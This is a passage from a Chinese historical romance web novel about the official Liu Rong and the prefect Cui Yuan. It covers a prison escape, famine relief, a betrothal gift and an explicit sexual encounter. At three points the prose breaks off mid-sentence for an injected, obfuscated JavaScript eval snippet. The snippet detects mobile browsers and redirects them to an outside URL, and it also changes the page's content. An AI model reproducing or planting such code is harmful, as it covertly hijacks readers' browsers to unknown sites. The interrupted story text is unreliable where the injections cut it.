岸上霎时有呼喊声,是狱丞手下的狱卒。柳茸及时应了声,说是有人犯越狱。 事关公务,柳茸问得审慎,“是何人?” “就是、是崔大人近日抓回来的逃犯,他走前把剑带走了,还给、给看狱门的弟兄们一人关了一间牢房!” 薛不虞。 柳茸加快划浆。 腰上的禁锢却不打算放人,背后的人一收力,硌得她肋骨有些生疼,“不必管他。” 他的话有些懒洋。 被人打断休憩,崔元本就心情不畅,一听是薛不虞,更没什么好颜色,轻车熟路朝狱卒吩咐:“加派人手追捕,封住城内各坊,死生不论。” “当真?他可是你师弟。”柳茸道。 “打不死的。”崔元笑笑,贴上她的蝴蝶骨。 狱卒还想再三确认,在崔元的注目下咽着唾沫快步离去。 池上刮过清风,碧荷掀翻,几滴荷露淋到柳茸身上,荷露很凉,掉到她身上仿佛烧烫的银针。 她只觉日光有些晒,晒得人皮肤发烫。 “你还没答我的话。”气息是从发丝间传来的,与耳垂咫尺迩迩。 她听见对方的话,带着落空,“你不是惯会说好听话的吗?怎么这时不愿骗我了?” 舟桨从素手中放下,拍打在舟壁。 “因为你是个好人,崔元。” 腰腹上的力道松了,崔元的手垂落膝边,苦笑,“我在你心里,有多好?” “时辰不早了,公子,回罢。” “我不明白。”他的目光失焦地落在船头,“那日在山洞,你愿邀我欢好,为何今日又答不上我的话?” “这是两回事,不是么。”柳茸做不到与人交心。兄弟阋墙,饥民易子,世上连血亲都无法全然交心,遑论仅有肌肤之亲的男子。 崔元脸上笑意尽失。 “不过公子说过不嫁娶不破戒的,那日是我唐突了。”她笑。 笑得很美,美到崔元觉得刺眼,眼眶被她的辉芒扎得酸涩。 待扁舟靠岸前,没人再出声,直至柳茸踏上水榭,身后传来一唤。 崔元站在扁舟里,虚空伸着手,“我还是不明白。” 他大抵不明白,为何有人能将二者区分得清清楚楚。 世间这般男子常有,但这般女子少有,那具骨感的身躯里,迸发出淬了毒的丰饶神韵,一滴致人命。 但他似懂非懂地捕捉到了一寸心思:纵使有人得了她的身,她的心也不属于那人。 无人得到过她的心,包括那名时不时从她眼里望见的男子。 每当她横波盈盈,投向自己,他从来有豫感,她的双瞳在透过自己望着另一个人。 她说那人不是她梳弄之夜的恩客,崔元想,自己必与那人肖似——那个当时藏在她行文间的人,就像一抹悄然的掠影,神秘、庞大,捉不到半点风。 崔元的唇角悄无声息崩紧。 人言女子的第一个男人总是难忘的,看来人言不实。先时他还揣测她难忘梳弄之人,如今想来皆是妄言,她的心里从未彻底放入过谁。 即使放入又如何?她来益州时日不短了,期间一个人影都未曾出现,害她望着自己以解相思,那人不是负心汉也是个亡命徒。 而自己,会做得比那人更好。 柳茸急匆匆回府,仔细搜查卧房。 薛不虞既能逃狱,难保不会潜入府上,若是被他查到不该查的就糟了。 不对劲,案上的酒…… 自己近日未买酒。 柳茸端详起酒坛,一丝凉意贴上她的脖颈。 “薛不虞?” “别叫人。”青年坚硬的胸膛抵上她后背,刀锋落在她脖间,“一壶酒,不欠你的,帮我做个买卖。” “郎君不杀我了?” 刀贴近了几分,柳茸住了口。 就在此时,叩门声响,纸窗透出一道模糊轮廓,与来人挺立的鼻梁骨。 崔元:“你,在吗?” 见屋内无人回应,崔元又扣了几声。 他的身影在门外立了片刻方渐行渐远,消失在柳茸视线。 柳茸端详起酒,“若我不帮郎君的忙呢?” 寒如玄铁的刀在柳茸脖间比划几下,似在笑问她有的选么。 熟料薛不虞所言的帮忙,是让她带路去崔元的书房。 柳茸不奇怪,如今城内各坊与城门被崔元下禁令,严盘出入,几乎是插翅难飞。 ——他想强自己制份通关文牒易名换姓,柳茸快速想到薛不虞的目的。 薛不虞没有选择让柳茸写通关文牒,而是直接取了她的文牒与照身帖。 “此物不可!”柳茸一把夺回照身帖,锋利的刀锋险些划破她的脖子,薛不虞疾速收刀。 “它对你很重要?”他未料到柳茸反应如此大。 照身帖丢了,再向衙门补写一份即可,可她一瞬流露的慌张不似假的,是真的情发难掩。 柳茸恢复冷静,“此物……是我头一份照身帖,很贵重。” 薛不虞有种弄坏了女孩木人偶的无措,他想说话,下一瞬剑眉一横,抱着柳茸滚进书房案底的衣箱。 衣箱里刚好能容纳两个人,柳茸伸手一摸,箱底装着崔元平素备用的燕服。 不多时,琳琅禁步声响,有人步履从容,推开书房,一阵翻书声过后,响起低醇的诵经声。 书房钥匙有两份,一串在柳茸身上,另一串在崔元手中。 是崔元。 口鼻被捂住,柳茸试着抻腿,奈何薛不虞一早考虑到她会踢衣箱,提前钳住了她的手足。 柳茸唇瓣翕张呵了口气,薛不虞果真如被火舌撩似的松开手。 眼下颈间无刀架着,柳茸打算激一激他,闹出动静,“若是被发现,我就告你是我奸|夫,不,采花贼。” 薛不虞气笑,连道几声好好,“我是奸|夫采花贼,那我就告你是垂涎牢犯美色的昏官,私放牢犯,藏匿府中,金屋藏娇!” 这是什么话,自己金屋藏娇也不会藏他啊。 柳茸眉心直拧。 薛不虞多大的气性?杀性重、煞性戾,一个师兄他已然能赞得千好万好旁人不及了,若真有人敢将他金屋藏娇还了得? 他日再有别的莺莺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868089|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燕燕、莫说莺莺燕燕了,旁人多看一眼,只怕都闹得家宅不宁,金子做的屋瓦顷刻掀翻。 狭窄的衣箱内,呼吸越发不畅。 习剑多年各处上山下海的薛不虞倒无甚感觉,只觉柳茸企图变换姿势,那只拧断过无数贼人脖子的手移到了她颈间。 沉郁的空气非但没随柳茸的扭动缓解,反而愈发闷燥窒息。 再困下去,自己几乎要闷死衣箱了,柳茸面色不善飞了薛不虞一记眼刀,衣箱外的念经声停了,有跫音在往衣箱靠近。 两步,三步。某一刻,她感到与人一墙之隔的近,仅仅一面木衣箱,掀开就能曝露里面光景,发现藏身其中的自己与薛不虞。 柳茸屏气,准备大喊出声,突然,衣箱盖顶开了。 “他走了。”薛不虞坐上衣箱边,吹了吹刀尖灰。 “我也要走了。”刀身转了一圈,重新对准柳茸。寒光一掠,一根箭直射刀身,薛不虞刀身一斜避开。 书房的窗穿出一个十字孔,孔外是崔元执弩。 “原是去取兵器了。”薛不虞不恋战,翻窗带上柳茸逃去。 他不明自己隐藏了气息如何又被人察觉,飞上空中,见沿路到衣箱洒的花种与柳茸腰间偷偷抠破的绣囊,明了。 第二根弩箭射向他携着柳茸的胳膊,被剑鞘挡下。他的剑鞘鎏着金合欢纹,在风里来去自如。 等到跳上屋檐,薛不虞看着团团围在府外的兵,即知走不了。 “不是会轻功么,郎君?”柳茸轻笑。 “我是会轻功又不是长了翅!”薛不虞嗤了声,“师兄的动作真是迅速。” “师兄,”薛不虞在高处向下看,“我顺带替你解决了她不好吗?” “师兄心软,甘愿被她玩于股掌,可此人觊觎官位,勾结亲王,你已病愈她交印还权了吗?师兄若再放任,她日后指不定做出何等事来。” “徒刑、黥面、劓鼻,”崔元举起弩,“选一个?” “堂堂城阳公主幺子,不袭爵,不入仕,少械斗杀人,今劫杀命官,杜攸之不敢查你,我来管教。”崔元恨铁不成钢。 “漏了,还差一刑。”柳茸出声,手指向东,是书房的屋脊,书房之下那口衣箱凌乱狼藉,“还有浣衣。” 崔元会心一笑,“那就先命他浣衣,再徒刑,再黥面。” “师兄,你对我都没这般笑过。” 没有笑,有箭。 崔元本按兵不动,怕误伤柳茸,但见她眼中的暗示,狠下心来连发数支,薛不虞抛开“包袱”高飞潜逃,柳茸越坠越疾,地面的府兵支起被衾接人,她整个人陷入棉花里。 “你知道了?”她探出头,第一眼对上崔元。 当崔元说出杜攸之三字时,她便猜出,他必然知晓她梳弄之夜的血案真凶,杜攸之几年未查出真凶,究竟是查不出或不想查,已不得而知。 沉默过后,崔元嗯了声,转开眼,回避住目光,“薛不虞是个不长心的,不会记得你。” 他拿着案卷,又问了柳茸几句当夜杀人情景,不知听到何处,眉头锁起来。 “传录事官来,你对他如实录笔便可。” 崔元没再听,径自跨过宝瓶门,白衣不见。 24. 聘礼 入秋带来了场霜冻,也带来第一波饥民。 柳茸亲自赈灾,临行前修书一封?给了赵玉则,一封密信。 李守仁能凭玉簪断裂处纹路看出簪头是海棠花,旁的御坊匠人未必不能看出,多问几个御坊匠人的事,柳茸不信赵玉则身为亲王查不出。 他不言明,自己便也不戳破。 此人心思缜密,是敌是友路数不清,自己于朝中根基不深,无士族依托,不与他交恶、不露锋角成为他眼中钉方是目下权宜之计。 海棠为饰的皇子仅有燕王,数年后,那株海棠会随主子登临人君开满大梁,益州城外稻田无粮,城内海棠花开。 那年的海棠、大火、饥荒、病痛化作梦魇缠她。 树影婆娑,为她带来一个人。 “你要亲自赈灾?”崔元眉心有些蹙。 他近日是真的被不省心的师弟气到了,将人重新抓回后恨恨鞭笞了顿,闻悉柳茸要亲自赈灾,更是面色难测。 赈灾是份苦差,入眼的柔荑纤净薄嫩,城外风沙干厉,这双手当真不会被吹皱? 他拦不住她高飞。 “灾情险峻,从纸面看不出实情,我想亲自走一趟。”柳茸声落,听见满身霜白的人开口。 “我与你同路。” “公子也要去?”柳茸颇为意外,崔元伤势未好,轻易离府恐又遇袭。 崔元神情染上不解的疑困,拂了拂衣,“身为益州刺史,赈灾本就是我职责所在,有何不可?” 只一瞬,柳茸警敏地握紧袖中方正的铜印。 对啊,益州刺史还不是自己,崔元更名正言顺些,未交还的权柄在心里咚咚锤起来。 见崔元在等自己答复,她终是按下神情道:“公子伤未痊愈,先时又强行用弩,不若在府中歇息?” “此次赈灾处我熟识,与你同去也好事半功倍。” 半晌,柳茸察觉他的目光汇聚在自己手间,握着官印的手更紧了。 “你不愿我去?”崔元问。 “我忧心公子的身体。” 他笑了,眼里蒙上一层细致揉碎的光,“赈灾调拨的人手充足,路上若生变数有人处理,况赈灾处有我的人手接应,你不必多虑。” 柳茸捻着官印,目色为难地眨了眨眼睫,绽开一缕柔笑,“公子同去可是要做万全准备的……为确保公子安危,可否容我来安排人手?” 崔元一旦下定的事九匹马也难调头,堵不如疏。 崔元颔首,与她商讨一番路线后步入庭院。 “对了。”他冷不丁侧首,眉目冷清,鼻骨傲人,柳茸的脸色肃起来,听他开口。 “前堂有刚炸的龙眼酥,你记得去吃。” 言毕,走了。 余下柳茸取出袖中物什,凝望,默观,揪揪自己搅在一起的眉心。 “柳大人,出了何事?”搬送公文的小吏唤醒她。 如从鸿蒙初开的混沌里起身,柳茸松开紧卧的手,“无事,忙吧。” 这份患得患失是何处来的?是经历过食不果腹催生的馋、幼年动荡种下的果、亦或是举目无亲的孤伶? 她思量了一夜,寻不出因果。照身帖、良籍、官印是不会生出异心的死物,且看得见摸得着,每一份都令她心安。 自己在僭越,僭越不曾有的事物,却有的确很想有。 几日后,赈灾调度备齐,一行官兵临近出发,柳茸来到车前,那身白衣已在等候。 柳茸接过他的手正色上马,这一次,她坐在了车驾前。 刺史亲自赈灾不是什么新鲜事,治国有三器:号令、斧钺、禄赏,做个闲散州官不理民心向背固然好,多少人羡慕不来,然久之无人听从号令,徒有架子。 但今岁倒是新鲜。来发粮的是位女官,村民闻风而来,挨家挨户倚着门。 到了村头,柳茸总算瞧见了崔元口中的人手——一个人跟一条拐杖。 此地闾长头发全白,杵着鸠杖,见崔元来乐开了花,无他,只因崔元曾到过此地,帮着犁了几亩地。 无奈老人眼神不好,被耷拉的皮肉与长眉遮着,时时分不清柳茸与崔元,见眼前伸来一只白皙的手,退避几步,顺着胡须两只眼弯成弥勒,“柳大人果真才貌双全。” “阿翁,是晚辈。”崔元一出嗓,闾长耷拉的眼皮都圆瞪了几寸。 “花眼、是我花眼,你是崔娃子,那你的手咋个……” 崔元:“我天生手白,晒不黑的。” 闾长嘟哝了句,“肯定是你把活都甩给人家自己待屋里,黑死人,比女娃娃都白,正好下地帮我干点活。” 这头,柳茸随官兵在西北分发赈灾粮,那头,崔元被拉进田地帮村民除霜。 入夜,第一日的赈灾粮发完,柳茸决定去田地亲眼见见灾情,找被村民借走的崔元。 他正在田垄,一路考察了灾情大小,与柳茸嵌合起实情来。 县令上报属实,这场霜灾带走了一个乞儿,伤了数人,村西北聚集着北来的饥民,他们籍地大多不在益州,打先受灾的北地来,本地土人临时借了无人居的空屋,虽偶有抱怨,也算暂时相安无事。 然真正编户安顿非容易事,柳茸记下人数,心里默默祈望着他们能撑过将至的隆冬。 她听见有人喊自己的名字,以及崔元的。 黑暗里升起炊烟,山歌响在夜空中。闾长摆了一桌酒菜,只等二人落座。 今夜难得丰盛,村民一同吃席,嘈嘈杂杂,流水席摆了一桌,村妇乱唱起山歌来,好不热闹。 柳茸跟着和了几声,被身旁的老媪连哄带推推上人前唱,崔元后背一凉,也被推上台来。 村民起哄起来。 “这山歌啊相互对唱才有味道。”张姨喊道,围成圈的人们连连点头。 见二人迟迟愣着,村民自行唱起来,情愫暧昧的山歌四面八方围住柳茸,只有她和崔元闭着嘴杵在中央面面相觑。 她对他苦笑,早知选二人对唱了。 崔元说自己唱得不好,要来一根竹箫相和。 他随村民盘坐在地,竖起箫身,身后山歌声远,与箫声相和,而柳茸是唯一站着的人。 柳茸学着崔元要琴来坐下弹奏,拿琴的小伙故意逗她不给,撤回三四下才给她。 意兴阑珊,柳茸饮了不少酒,抱着坛子在农妇堆寒暄,崔元半杯酒未尽潮红上脸。 闾长拍拍崔元肩头,皱眉摇头。 “柳大人说亲了没有?没有啊,长如此乖怎会没有?那有意中人否?没有孃孃给你介绍几个?” 张姨点了一圈小伙,柳茸掩唇轻笑。 老媪敲着竹杖:“你莫要折煞人家,村里那些葱头柳大人哪看得上?” 张姨转着眼珠子,忽瞧见一人,挨近柳茸指去,“崔大人怎么样?” 柳茸笑着饮下一口酒。 “哎哟,郎才女貌的啷个楞个挑嘛,方圆五百里,我就没见哪个小伙比崔大人配得上你的。”张姨欸了声,“崔大人成亲了否?” 得知崔元至今未娶,张姨恍然大悟欲言又止,悄声附到柳茸耳边,“阿茸,你老实同张孃孃讲,是不是那娃儿不行啊?” 酒洒了,柳茸咳出灼喉的残液。 “不行你跟孃孃说,孃孃这儿还有好多小伙。”张姨颇以为然,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881343|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个男子玉树临风身居高位,讨不到妻,定是有女子不想嫁的隐疾。 回忆起山洞那日贴在腰窝间的触感,柳茸想,崔元应当没有隐疾的,应当,可惜旁人不是柳茸,权当是崔元的缘故。 翌日,柳茸早起赈灾,见草垛间陷着个睡死的人,走近一看,是崔元烧红着脸倒在里面,手中捏着酒盏。 “莫走……”他乍然睁眼,蒙上一层酒气水雾的眼不复平素克持,扯住柳茸袖口。 她抱起他,欲言又止,“记得吗,你以前也曾如此抱我回去过。” 刚抬起对方一条腿,柳茸整个翻身栽了下去。崔元沉得离谱。 柳茸捡起掉落的簪子恨恨划地,还是要让请教红花如何练武啊。 一回身,崔元捂着倒地的脑勺,沉着眸子看过来,似在嗔怪。 “我不是有意,给你垫个枕子好不好?” “吾妻才能替我垫。” “那我给你寻一个来?” 他又怒了,翻过身去不理人。 柳茸心猜到崔元仍在醉中,叫来人扶住神志不清的他。 看见碰自己手的是个汉子,崔元一把将人甩开了,“我不走。” “我就要问你一问,你须得答我。”他手指柳茸,“你、他们说你言我有隐疾,是也不是?” 汉子噎住。 俗话言,好事不出门,坏事传千里,村庄闭塞,风言风语次日便能传开,柳茸没料到传得如此快,好言相劝着对方才磨唧颔首回去。 行至半路回头问:“是也不是?” 奈何柳茸已没了影,先一步去料理公务了。 赈灾之事忙碌到秋末,官署开始发冬衣、米粮与柴直银。 但这次的过冬物,着实给的有些多了,柳茸甚至搜出了不是米粮的胭脂、茶饼、剪子。 拟的单子上有那么多物什吗? 百花鉴、同心梳,柳茸愈发觉反常,末了目光落在最后一口沉甸甸的箱子上。 “阿姊!好多金钏啊!金石榴,还有红帛!”小青打开箱子,惊呼一声,金红晃晃刺人眼。 “底下为何有具秤砣?”小青不明所以。 视清秤砣上绑的红绸带后,轰的一声,柳茸立刻合上箱子。 * 深秋,凉夜,案台松火明明。 崔元伸手靠近薰笼,烟雾管过指缝,燎烤着发寒的五指。 一粒火星子嚣张地崩出,他嘶了声收笼指节,正了正襟,直身跪坐,慢慢取下头上进贤冠,工整垂放榻上。 霎那间,崔元偶人般顿住动作。 白衣上,一粒墨黑的窟窿醒目地点在衣襟。薰笼里的火星子不知何时弹到衣上,留下碍眼的黑痣。 玷|污满身素白。 那颗黑痣在他心底不断扩散,伸手一撮,浅淡的墨痕拉出,一股躁恼潮涌上崔元胸腔。 他脱下衣,几乎是摔在地上。 有人在叩门。 “公子下给人的聘礼错放在过冬物里了,我已送回。”柳茸在门外。 同心梳轻放的声音隔门响起。 门内仿若无人,薰笼下炭盆噼啪作响,火势烧至旺处。 “是我不该扰你就寝。”门外的身影渐渐变淡,在即将消逝前,屋里的人终于开腔。 “那不是错放。” 崔元喉结翕颤,“是给一个人的。” 柳茸:“给谁的?” “谁收到便是给谁的。” 不知过了多久,门被拉开,风灌入,吹灭烛台。 门外是柳茸的面庞,她仰着头,月辉满面,对上崔元的面容,下颌微抬,“是这个人吗?” 25. 礼成 “……你不该来的。”崔元的目光落在这张脸良久,憔悴地开口。 柳茸道:“你说过,你不娶这个人的。” 他目光幽邃,“我只说我不能娶,是不能,而非不想。” “从前,可有人为你下过聘礼?” 柳茸摇首。 “这么说我是第一个。”崔元眼中漫出一层道不明的衡量,如同胜了谁。 “若我不想嫁呢?”柳茸问,谁知对方答得果断。 “那便扔了,想扔想砸,任你处置。” 见他较真得正经,柳茸抿唇一笑,忍不住逗起他来,“不愧是博陵崔氏崔氏,一箱金银呢,公子直说了我哪还敢扔?” “公子,你莫不是吃准了我不忍心弃之才送的吧?” “……我没有。”崔元口吐兰气,一根指腹已触到他未合的唇瓣,他急匆匆避开,被纤手扭过脸颊。 一截新染了凤仙花的指甲,如晶莹剔透的石榴籽,挑在他的下颌。 她真的很喜欢逗人,尤其是这般解冠除衣皆一丝不苟的读书人,一逗,红到耳根里不自知,格外添趣,令人不禁想得寸进尺,再逗一逗。 “崔刺史拳拳心意,没有哪位女子会拒,我……收就是了,但我不想成婚,倒愿与公子春宵一夜,不知公子……” 崔元面色冷如冰窟,“不成。” “聘礼都送来了。”柳茸点点他唇,敢跳过纳采问吉下聘礼,却拒不破戒,这个人啊,有时出格地与士族公子格格不入,有时又比老腐儒还守旧。 “那也不成。” 见怎么逗也无济于事,柳茸恹恹抱起臂。 “罢了。”她露了个抱憾的神姿,“是我不识礼数,扰了刺史,下官这就走。” 没走几步,袖侧被人截住。 柳茸莞尔撇开他的手,一个劲朝前走,像只要回画中的青狐鬼魅。 “莫走。”他再次拽住她。 柳茸懒懒回眸,“不走做什么呢?公子有事?” 是啊,他有何理由留她?崔元也懵然自己何以会追上来,自己的神识还未想任何事时,胳膊先一步不受控地挽留住了她。 “失礼。”他说着老套的赔罪松开手。 柳茸忍俊不禁,“还以为公子要好心留我渡夜呢。” 好心二字从何说来,崔元没想明白,见柳茸指着门外,“外面下起了雹,公子没听见?” 他如万物消弥的长寂中回神,过耳的唯有柳茸的声音,待柳茸一指,放听见屋瓦疙疙瘩瘩地响,门扉下的同心梳被鸡蛋大的冰雹打地可怜。 “你要如何回去?” “走着回去。”柳茸以衣蒙头,青白的手腕挡在上方,“既然公子不愿,我先走了。” 一只手握住她的小臂,紧得手背生筋。 “我去取伞给你。”崔元吞咽了下喉,万千字词化作一句取伞。 呛人的桐油味自身后飘荡,被风送得更远,枯荷色的桐伞油亮老旧,柳茸抬头,一擎褐黄的伞面挡住天。 伞柄交接间,彼此冰凉的指尖相触,若即若离,不知是谁的手先缩了回去,柳茸弯起眉眼,“多谢。” 这次崔元没再拦她,阖上了门。 凉风无情被门扑灭,门里门外,隔绝两个天地,只有屋梁上的雹石仍在疙疙瘩瘩地敲。 薰笼早已冷彻,崔元并未上前续炭,他靠在门扉,静听门外寒风呼号。 鬼号的风声里,他听见一串清幽的玉铃,是柳茸头上钗。 “我,不是给你伞了吗。”他将身帖得更紧,一扇门扉之隔下,同样有具靠在门扉上的身躯。 “是一把桐伞。”柳茸道。 “那你为何不走?” 发钗上的琼音忽远忽近,门扉随女子的笑在颤,从后背、骨血、一路顺道心脉,那扇门比纸还薄,颤意轻易穿透。 身下的门扉虚渺若无,似真的在与她的背肌相触,心心相帖,又好被人粗劣地扒开了皮肌做的的外衣,被人直接触摸滚烫的心。 他感到与薰笼火星子燎衣时一般的躁郁。 “公子当真想我走?” 崔元垂着首,汗顺着鼻梁骨滑落,在白腻的鼻端凝成露。 雹片冰硬,一把桐油伞撑不过几段路便会被戳成窟窿,这是彼此心知肚明的事。 那场伞柄交接,像一场精心做的欺瞒上天的戏,自知愚伎可笑,依然以期瞒天过海,到头来欺人欺己。 风越收越紧,柳茸裹紧被寒风吹得抖索的外袍,“公子,你知道吗,门外的风很冷,你不说话,我便走了。” “当真?那我先走了。” 门扉响动窸窣,柳茸站起身,拍拍掌,背后失去挡风的木门,骤然一凉。 身后酝酿的体温被吹散地厉害,消逝在半途中,她挺了挺脊梁骨,适应着骤降的温意。 “我走了,公子。” 脚步声盈盈,崔元脑中嗡地一下,再也克持不住。 余温尚存的门扉被猛然打开,一只手,骨节分明将柳茸拽了进去。 * 鬟钗抵在新嵌的琉璃窗上,留下花般的影子,有唇珠犹疑在柳茸唇缘,品酒般细细地凿,却始终不更进一步。 好生涩。 柳茸心笑,睁开眸子,面前是道浓密的鸦睫,紧闭到轻震着,偶尔会扇到她的面颊。 一断皓腕悄然上移,她摸上对方发间,摁了下去,回以烈醇。 崔元的气息乱了一瞬,脖颈梗着。 她感受到他撤离的念头,但那念头转瞬即逝,被自己的主人压回体内,他很快便调整好,顺着她的引导撬开贝齿。 树砂挠着翠绿的琉璃窗,窗内烛火薰笼皆灭,一派漆黑,她听见咽喉声,落在她身上的唇一路向下,戛然而止。 从未与人如此亲密过,他沉默着,不肯解衣,借口去点烛膏,一双手绕过他腰侧,轻易勾开了带钩。 “君子兰”的花叶一瓣瓣剥落,他似乎恼了,也报复起柳茸来。 “你见过女人的身子?”柳茸有些讶异,崔元对女子衣带的位置过于谙熟,颠覆她的预料。 崔元自哂了声,“我见过死的。” 大梁国力昌盛,但长安城门依旧随处可见乞儿、流氓,盛世是盛不到草芥头上的,那些无人收尸的骨骸有男人有女人,被崔元逐一系上寿衣,生前穿不起衣,死后合着漂亮的衣服走。 两记石块摔地声,崔元松开手中打火石,软薄的唇被重新覆上,人模人样的衣冠尽数褪去,青帐下,有的只是两头野兽,做着野兽该做的事。 起初,的确是柳茸主导的,但是从某刻起,是垂落到男人胸膛的发丝,亦或是被敏锐捕捉到了一丝松懈,对方反守为攻,一个翻身夺过攻势。 窗外疾风骤雨,崔元失焦的眼眸微张,黑暗中,他看见满天神佛,他们高高在上,或斥责、或不齿、或大笑地审判着他这个逆徒。 他羞愧,却难抑从未有过的餍足。 “公子好生熟稔。”柳茸轻笑,面如醉酒。 崔元听出弦外之音,这是在怀疑他。 “那……证明给你看?”他落下粟粒大的汗。 柳茸刚想说话,欢愉迭起,她禁不住眯眼,目光温柔缱倦:“如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886515|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何证明?” 不用证明了。 他结束地很快。 甚至是在自己即将迎来最后一波浪潮时,临门一脚,突然滑落断崖般退潮,被扔回了光秃秃的岸上。 “……”柳茸望着崔元,相顾无言。 他似乎自知没有满足她,深深垂下眸。 “你已经做得很好了。”她化开一抹笑,捧起对方的脸。 听闻此话,他的唇角不但没有任何笑,神情愈发难以捉摸。 “你不要动,我来帮你。”崔元取过一方白绢,擦净污秽,俯了下去。 柳茸之前不太喜欢他的鼻子,不是像跟鸟喙在脸上啄,便是屡屡磕碰得鼻骨生疼,但此刻才发现,还是有点好处的。 与白日一板一眼的举止不同,他于情事上的喜好颇为劲烈,甚至略带几分生硬,不肯让她,可此刻的低头却多了份取悦的意味。 树条被风吹得东倒西歪,不住抽打在琉璃窗上不停作响,掩盖了夜半声响,一阵含花吐露的爽利后,柳茸趴在那人胸口深眠了许久。 与杜攸之同榻时,她时常觉得自己是条沥水的鱼,在被索取,被承受,而与崔元一起,她觉得自己是株修剪枝丫的花树,被舒适地打理着、喷洒薄露。 恢复气力醒来,柳茸昏昏沉沉摸黑在榻边翻找,摸到熟悉的两枚官印后,安心地躺下,把玩在手心若有所思。 一个手滑,官印磕到脑袋。 柳茸忍着痛,琵琶骨处搭过来一条胳膊,迷迷糊糊地往上摸。 “嗯……”崔元也醒了,“睡不着吗?” 柳茸藏好官印,“明日益州各处恐有雹灾上报,我去拟些对策。” 崔元在她额间,嗅着青丝,闷闷嗯了声。 “我看见了。”他道,“官印。” “对你就如此重要?” 柳茸:“很重要。” 唯有一点,她百思不得解,“你不找我要回官印?” “因为你很合适。” 柳茸无法理解,如此说法不能说服她,世上怎有心甘情愿交权之人? “就不怕我为非作歹,拉着你背锅?” “不会,阿茸,你不会做。”崔元答得干脆,“你,也是好官,你不会做。” “我幼时很荒唐,做着成王周公类的仁君弼臣之梦,现在想,世上何来明君,没有明君,至少,给世人留多一个好官也不错。”他侧枕着臂。 “公子,你可知,我是嫉妒你的,你有许多,我没有的事物。” 什么都有过,故而对舍离看淡至此,她万万做不到。 “我一即为校书便生欲念,想着升官,入仕,最好能去长安,当一回京官,而你……” 而他,大无畏地被谴出京城,不在乎有多远,也不在乎是否影响仕途,由京官调任刺史于他谈起,只如换了个地方做活计般。 柳茸窃窃想碰一碰他傲人的鼻梁。 “别碰,没擦。”崔元捉住她的手,“……我,也有欲念。” 他注视过来,墨眸如潭,被月润色,映出她的眉眼。 夜色尽在次日晨出,待雹石消停,熹微乍明,琉璃窗冷得咯吱清响。 柳茸被一声不和谐的“咚”声唤醒,熙熙然睁开眼皮,枕边是一张墨发清容的脸,一愕,后知后觉是崔元,悬着的心放下来。 幸好,没摔下榻。 她从暖被里探头,寻着声响源头,倏然间,一线目光射来。 栊门开着。 薛不虞身缠镣铐,定定站在卧房前,臂中的衣篓子“咚”地摔落,浣晒好的衣裳倾撒一地。 26. 出发 “玷污我师兄!妖女,我杀了你!” 薛不虞拔剑欲杀,方想起自己没佩剑,柳茸闪身一躲,好整以暇回望他。 他被抓回来,崔元真就照之前所言,叛他浣干净衣箱的衣物,再黥面徒刑。 却不料这一浣,撞破了他前半生难忘的大事。 “不解释解释?你们在房里怎么回事?”薛不虞几乎咬碎后槽牙。 这有什么好解释的?柳茸转着团扇,“当然是郎君瞧见的那样。” 青年的神情从困顿到顿悟,再到恼羞成怒,最后怒极反笑,两颗虎牙似顷刻就要扑咬上来撕扯了她似的。 “公子。”柳茸回头唤了声。 崔元醒了,见满地衣物狼藉,皱了皱眉,“捡起来。” 薛不虞衣篓子一抛,立在指尖转:“这门亲事我不同意。” 崔元睨了他一眼,冷凝着眸子,“捡起来。” 说罢,赤脚步出东厢。 “见色忘弟。”薛不虞气笑,他的狠戾从不锚准崔元,便只能对向那污了他师兄清誉的“狐媚子”,柳茸。 可眼下他身披锁链,只留下一道燑燑可怖的目光给柳茸。 一夜纷乱,冰霜化了一地水,崔元似不觉脚底心凉,倚在游廊美人靠上,肘撑栏外,眺着湖心白汽。 “我在佛前立过不破四戒。”他以背对她。 “那时年少轻狂,只觉成家是件麻烦事,以自己的定力定不需要,在佛前请愿,此生唯为家国,守得四戒。” “昨夜方知,我非君子。” 他自嘲一笑。自己竟还自欺欺人地念诵佛经、口口声声四大皆空,实则早已欲念缠身,一夜过后再去想来,不免自觉可笑。 遇上柳茸,他挡不过的,她很美,不止容貌,起初主动、狡猾、生噙着一股利用手段也要自救的气攫获他的目光,于是他下马帮了她一程。 他喜欢这股生命力,一如他喜欢稻苗,种熟了,能喂饱许多的人,杀人时又仿佛她天生就该杀人,不惧,不惊。她还说,但愿他日后宦海沉浮,也能保有刚正不挠之心…… 躲不掉的,注定要缴械认降,他早该清楚。 “自诩君子这一块,是我败了。” 柳茸看不懂他。 